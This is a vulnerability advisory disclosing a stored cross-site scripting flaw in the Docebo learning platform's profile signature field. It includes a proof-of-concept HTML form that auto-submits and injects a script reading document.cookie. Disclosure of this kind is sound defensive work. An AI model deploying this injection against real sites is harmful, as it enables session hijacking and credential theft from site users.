XSS vulnerability in Docebo

Vulnerability ID: HTB22611
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_docebo.html
Product: Docebo
Vendor: Docebo ( http://www.docebo.org/ )
Vulnerable Version: 3.6.0.4 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "doceboLms/index.php" script to properly sanitize user-supplied input in "up_signature" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/doceboLms/index.php?modname=profile&amp;op=profile&amp;id_user=1368&amp;ap=saveinfo&quot; method="post" name="main" >

<input type="hidden" name="up_lastname" value="admin" />
<input type="hidden" name="up_firstname" value="admin" />
<input type="hidden" name="up_email" value="" />
<input type="hidden" name="user_preference[ui.language]" value="4" />
<input type="hidden" name="user_preference[ui.template]" value="0" />
<input type="hidden" name="up_signature" value='123"><script>alert(document.cookie)</script>' />
<input type="hidden" name="save" value="Salva" />

</form>
<script>
document.main.submit();
</script>